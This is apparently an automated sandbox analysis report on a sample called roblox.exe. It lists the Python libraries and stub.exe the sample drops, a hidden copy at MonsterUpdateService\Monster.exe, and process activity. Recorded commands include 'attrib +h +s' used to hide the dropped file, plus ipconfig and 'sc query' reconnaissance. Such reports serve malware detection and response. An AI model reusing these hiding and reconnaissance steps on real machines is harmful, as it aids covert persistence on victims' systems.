Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2584780619.00007FF8B8B3C000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2583518260.00007FF8B78B7000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2584780619.00007FF8B8B3C000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579902667.00007FF8A81A5000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2583893009.00007FF8B7E18000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2583668954.00007FF8B7DED000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2586763495.00007FF8B9F71000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: cryptography_rust.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2585992568.00007FF8B8F8D000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2585205499.00007FF8B8CB6000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2ADD34000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp

Source: vcruntime140.dll.0.dr

Static PE information: 0xEFFF39AD [Sun Aug 4 18:57:49 2097 UTC]

Source: roblox.exe	Static PE information: section name: .eh_fram
Source: roblox.exe	Static PE information: section name: .xdata
Source: libcrypto-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: stub.exe.0.dr	Static PE information: section name: .eh_fram
Source: stub.exe.0.dr	Static PE information: section name: .xdata
Source: python310.dll.0.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.0.dr	Static PE information: section name: _RDATA
Source: Monster.exe.3.dr	Static PE information: section name: .eh_fram
Source: Monster.exe.3.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 55_2_00007FF8476E0928 push E95B1F1Ch; ret

55_2_00007FF8476E0909

Persistence and Installation Behavior

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\yarl\_helpers_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File created: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_http_parser.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_websocket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\frozenlist\_frozenlist.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_helpers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\multidict\_multidict.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\yarl\_quoting_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_http_writer.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query type= service state= all

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
